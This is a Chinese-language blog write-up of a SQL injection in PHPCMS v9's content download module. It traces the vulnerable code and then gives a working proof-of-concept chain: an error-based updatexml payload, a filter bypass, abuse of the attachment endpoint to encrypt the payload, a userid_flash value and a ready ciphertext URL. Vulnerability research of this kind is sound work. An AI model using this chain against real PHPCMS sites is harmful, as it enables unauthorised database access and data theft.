phpcmsv9Sql注入漏洞

前言

phpcmsv9的sql注入漏洞

漏洞分析

漏洞触发点

实际上这个是一个后台的漏洞.

首先漏洞的触发点./phpcms/modules/content/down.php::init()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));
$siteids = getcache('category_content','commons');
$siteid = $siteids[$catid];
$CATEGORYS = getcache('category_content_'.$siteid,'commons');

$this->category = $CATEGORYS[$catid];
$this->category_setting = string2array($this->category['setting']);
...
...
...

$a_k由GET请求获得.$a_k要解密,所以说$a_k是一段密文.

1
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

然后$a_k经过parse_str()获得$i,$m,$modelid,$catid,$f,$id

其中关键代码:

1
$rs = $this->db->get_one(array('id'=>$id));
1
2
3
4
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where)) $where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
1
2
3
4
5
6
7
8
9
10
11
final public function sqls($where, $font = ' AND ') {
if (is_array($where)) {
$sql = '';
foreach ($where as $key=>$val) {
$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
}
return $sql;
} else {
return $where;
}
}

select * from where id= 'xxx'单引号字符型注入.

payload如下:

1
id=%27 and updatexml(1,concat(1,user())),1)#

根据$id进行查查询,返回结果.在这里没有进行字符串的过滤,所以存在一定的sql注入漏洞.

那么这个漏洞的触发方式:

1
?m=content&c=down&a=init&a_k=密文

构造payload

定位到:./phpcms/modules/attachement/attachements.php::swfupload_json()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php 
defined('IN_PHPCMS') or exit('No permission resources.');
$session_storage = 'session_'.pc_base::load_config('system','session_storage');
pc_base::load_sys_class($session_storage);
if(param::get_cookie('sys_lang')) {
define('SYS_STYLE',param::get_cookie('sys_lang'));
} else {
define('SYS_STYLE','zh-cn');
}
class attachments {
private $att_db;
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
...
...
...
...

/**
* 设置swfupload上传的json格式cookie
*/
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
...
...

swfupload_json()中通过GET请求,分别获得aid,src,filename,经过json加密

1
$json_str = json_encode($arr);

判断是否已有cookie,由于未有cookie,所以在这里我们设置cookie.

1
2
3
4
5
6
7
8
9
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}

然后跟进set_cookie()

1
2
3
4
5
6
7
8
9
10
11
12
13
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}

这里使用的加密函数sys_auth(xxx,ENCODE)与解密$a_ksys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'))函数是同一个函数

所以可以在这里生成密文.$_GET[src]可以作为写入payload的地方.只经过safe_replace()函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 安全过滤函数
*
* @param $string
* @return string
*/
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

构造payload为

1
?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,user())),1)#&m=1&modelid=1&catid=1&f=cookie&

在构造payload时不要$i这项,否则将会由于以下代码,payload失效.

1
if(isset($i)) $i = $id = intval($i);

为绕过safe_replace(),修改paylaod如下:

1
?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,user())),1)#&m=1&modelid=1&catid=1&f=cookie&

经过url编码:

1
?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27%20and%20updatexml(1%2cconcat(1%2cuser()))%2c1)%23%26m%3d1%26modelid%3d1%26catid%3d1%26f%3dcookie%26

注意

在attachments.php中有这么一段代码

1
2
3
4
5
		$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
... ... ...
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}

这里需要认证,认证是否为管理员用户登录

获得userid_flash的方法

定位./phpcms/modules/wap/index.php

1
2
3
4
5
6
7
8
9
10
11
class index {
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}

1581073053853

poc

生成密文:

1
2
3
?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27+and+updatexml(1%2cconcat(1%2c(user()))%2c1)%23%26m%3d1%26f%3dcookie%26modelid%3d1%26catid%3d1%26

POST:userid_flash=369b_CwjZql56-b8HtNPMGzWLTEj3sQF4h1VLxYY

1581074961288

1
?m=content&c=down&a=init&a_k=6c09EmoZrtqeCKGWcv5iTTkQNeo0bVuMegMOvaPLNZ6SEeyG5sK0TxNum_xlEkgbv6lthq3oE18R3-XpRSPrH7sGkoPxbI1bFePqHtcAMMKV5BpYJq3NE-HNZgT_4xlDmk7mDtHjcg798pB7wQx4i-IPN6mOFQtXIdkxhz1i3KdZViOX0UcU8oNVWDOEmYKLl69Ftjn_HGUw3r5mGa8ikLbbP-rdWhC0QfJMg4sUC9eDJyzuOlZRu7kkEyCzKf-6oF8Che9kYnGOAsWmgxuhkY7uqndWSZQBFKxUkksklkoTtZG7qIv-lUZhNPg25ateNkESCJSZPxHRCCtfArr-_i5lTy5uA0yN9pEr6wtsMs8j_mz9xAd0rur08gw_xUVv6y7AMdzfMUjQhUhr6gDPcgUZWplKDwsZBWKUOV-ROmJS4I9EJ94sstd-KRCiwLe85YrQWvHTJuzzy2ZNFCAkDghc__b-hzy8

1581075019899

Author: 我是小吴啦
Link: http://yoursite.com/2020/02/07/phpcmsv9Sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.